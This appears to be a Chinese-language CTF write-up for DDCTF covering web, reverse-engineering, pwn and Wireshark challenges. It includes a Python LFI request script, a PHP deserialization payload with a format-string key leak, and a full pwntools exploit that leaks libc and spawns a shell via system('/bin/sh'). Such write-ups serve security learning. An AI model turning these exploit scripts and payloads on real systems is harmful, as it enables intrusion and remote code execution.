Web

100pt_滴~

首先很明显是一个本地文件包含漏洞(LFI),于是尝试读取index.php文件,对读取结果base64解码

  1. <?php
  2. /*
  3. * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
  4. * Date: July 4,2018
  5. */
  6. error_reporting(E_ALL || ~E_NOTICE);
  7. header('content-type:text/html;charset=utf-8');
  8. if(! isset($_GET['jpg']))
  9. header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
  10. $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
  11. echo '<title>'.$_GET['jpg'].'</title>';
  12. $file = preg_replace(" /[^a-zA-Z0-9.]+/ ","", $file);
  13. echo $file.'</br>';
  14. $file = str_replace("config","!", $file);
  15. echo $file.'</br>';
  16. $txt = base64_encode(file_get_contents($file));
  17. echo "<img src='data:image/gif;base64,".$txt."'></img>";
  18. /*
  19. * Can you find the flag file?
  20. *
  21. */
  22. ?>

发现逻辑是将传入的jpg参数进行两次base64解码后将结果按十六进制转为字符串,紧接着将字符串经过处理一(匹配所有非a-z、A-Z、0-9、.的字符并将其替换为空)和处理二(检测”config“并将其替换为”!“),于是防止了跨目录文件读取。

访问提示的博客,在他写的另一篇博文中。。。我们可以发现关键文件practice.txt,于是访问该文件(http://117.51.150.246/practice.txt.swp),可以获取另一个关键文件f1ag!ddctf.php

DDCTF 部分WriteUP - 图1

于是可以利用LFI漏洞读取

import base64
import binascii
import requests
file_name="f1agconfigddctf.php"
result=requests.get('http://117.51.150.246/index.php',params={'jpg':base64.b64encode(base64.b64encode(binascii.b2a_hex(file_name)))})
print(result.text)

base64解码后,内容如下:

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

分析程序逻辑,显然,程序尝试读取名为hello的文件,但是利用LFI漏洞可发现名为hello的文件不存在,于是可得payload

http://117.51.150.246/f1ag!ddctf.php?uid=

访问可得flag

DDCTF 部分WriteUP - 图2

130pt_WEB 签到题

首先访问发现

DDCTF 部分WriteUP - 图3

此时访问其他路径均显示需要登陆

DDCTF 部分WriteUP - 图4

于是抓包,发现网站会在访问/index.php后,访问/app/Auth.php并发现关键字段didictf_username,尝试补充为admin

DDCTF 部分WriteUP - 图5

发现成功,于是访问/app/fL2XID2i0Cdh.php

DDCTF 部分WriteUP - 图6

发现可以拿到网站关键文件源码

DDCTF 部分WriteUP - 图7

分析发现Application.php中的析构函数__destruct可以读取文件

DDCTF 部分WriteUP - 图8

又发现Session.php中声明了Session对象,且Application类是Session类的父类,因此在Session.php的请求发送完成会调用父类的析构函数销毁对象

DDCTF 部分WriteUP - 图9

又发现Session.php中存在反序列化漏洞

DDCTF 部分WriteUP - 图10

因此我们可以构造反序列化执行Application实例化并读取flag,又发现get_key函数中提示了flag文件位置

DDCTF 部分WriteUP - 图11

于是可构造payloadO:11:"Application":1:{s:4:"path";s:24:"$path";}

但是发现path变量有长度限制且有危险字符过滤

DDCTF 部分WriteUP - 图12

于是可构造payloadO:11:"Application":1:{s:4:"path";s:24:".../.././config/flag.txt";}

此时又发现存在MD5验证

DDCTF 部分WriteUP - 图13

逻辑是将eancrykeysession拼接后取MD5值,接下来发现

DDCTF 部分WriteUP - 图14

这里显然存在格式化字符串漏洞,当我们以POST方式传入nickname=%s时,会泄露eancrykey的值

DDCTF 部分WriteUP - 图15

那么我们拼接payload后取MD5

DDCTF 部分WriteUP - 图16

payload URL转码后拼接MD5值,传入

DDCTF 部分WriteUP - 图17

得到flag

DDCTF 部分WriteUP - 图18

Reverse

100pt_Windows Reverse1

查壳,发现有UPX 3.09的压缩壳

DDCTF 部分WriteUP - 图19

于是使用UPX 3.09解压程序

DDCTF 部分WriteUP - 图20DDCTF 部分WriteUP

使用IDA分析程序,发现程序存在反调试

DDCTF 部分WriteUP - 图21

于是静态分析,发现逻辑相对简单,程序会将用户的输入在sub_401000函数中进行处理,并要求处理后结果等于DDCTF{reverseME}

DDCTF 部分WriteUP - 图22

那么分析sub_401000函数,发现程序会将用户输入的逐位作为索引,返回索引到的byte_402FF8中的字符

DDCTF 部分WriteUP - 图23

于是我们查看byte_402FF8的内存区域

DDCTF 部分WriteUP - 图24

发现该区域无值,但是发现在后面存在字典字符串

DDCTF 部分WriteUP - 图25

于是考虑使用越界读,即可获取flag,exp如下

#include<bits/stdc++.h>
using namespace std;
string flag="DDCTF{reverseME}";
string dic="\x7E\x7D\x7C\x7B\x7A\x79\x78\x77\x76\x75\x74\x73\x72\x71\x70\x6F\x6E\x6D\x6C\x6B\x6A\x69\x68\x67\x66\x65\x64\x63\x62\x61\x60\x5F\x5E\x5D\x5C\x5B\x5A\x59\x58\x57\x56\x55\x54\x53\x52\x51\x50\x4F\x4E\x4D\x4C\x4B\x4A\x49\x48\x47\x46\x45\x44\x43\x42\x41\x40\x3F\x3E\x3D\x3C\x3B\x3A\x39\x38\x37\x36\x35\x34\x33\x32\x31\x30\x2F\x2E\x2D\x2C\x2B\x2A\x29\x28\x27\x26\x25\x24\x23\x22\x21\x20";
int main(){
    for(int i=0;i<flag.length();i++){
        for(int j=0;j<dic.length();j++){
            if(dic[j]==flag[i]){
                cout<<(char)(j+32);
            }
        }
    }
    return 0;
}

DDCTF 部分WriteUP - 图26

DDCTF 部分WriteUP - 图27

MISC

160pt_[PWN] strike

检查程序,32位仅开启NX保护的程序

DDCTF 部分WriteUP - 图28

分析程序主逻辑,发现输入长度可以使用-1绕过

DDCTF 部分WriteUP - 图29

于是初步思路是利用栈溢出劫持EIPprintf,然后泄露libc基址,之后ret2libc即可,但是在调试过程中发现该思路不可行,程序会在中途退出

然后发现在获取name时,我们输入的name被输出后后面会跟随一个地址

DDCTF 部分WriteUP - 图30

并且发现随着我们输入的name的变化,泄露的地址不同,于是测试发现当输入长度为37时,可以刚好泄露栈地址与libc基址,然后再控制EIP返回到栈上执行payload即可。

exp如下:

from pwn import *
import sys
context.log_level='debug'
xpwn=ELF("./xpwn")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    libc=ELF("./libc.so.6")
else:
    sh = process("./xpwn")
    libc=xpwn.libc

sh.recvuntil("Enter username: ")
sh.send("a"*37)
thing = sh.recv()
stack_addr = u32(thing[46:46+4])
libc_base_addr = u32(thing[46+4:46+4+4]) - libc.symbols["setbuf"] - 21
system_addr = libc_base_addr+libc.symbols["system"]
binsh_addr = libc_base_addr+libc.search("/bin/sh").next()
log.success("we get stack addr "+str(hex(stack_addr)))
log.success("we get libc base addr "+str(hex(libc_base_addr)))
log.success("we get system addr "+str(hex(system_addr)))
payload='A'*(0x4c+4-8-4)+p32(stack_addr)+p32(system_addr)*2+p32(binsh_addr)+p32(system_addr)
sh.recvuntil("Please set the length of password: ")
sh.sendline("-1")
sh.recvuntil("Enter password(lenth 4294967295): ")
sh.send(payload)
sh.interactive()

200pt_Wireshark

分析流量包并过滤http流量,发现有两个PNG流量

DDCTF 部分WriteUP - 图31

利用“导出分组字节流”导出两张图片,其中一张感觉十分违和

DDCTF 部分WriteUP - 图32

于是怀疑该图片高度存在问题,把高度改为与宽相等

DDCTF 部分WriteUP - 图33

可以发现key于是尝试使用题目中给出的网址解密另一张图片

DDCTF 部分WriteUP - 图34

可发现解密成功

DDCTF 部分WriteUP - 图35

44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D进行十六进制转字符串可得flag

DDCTF 部分WriteUP - 图36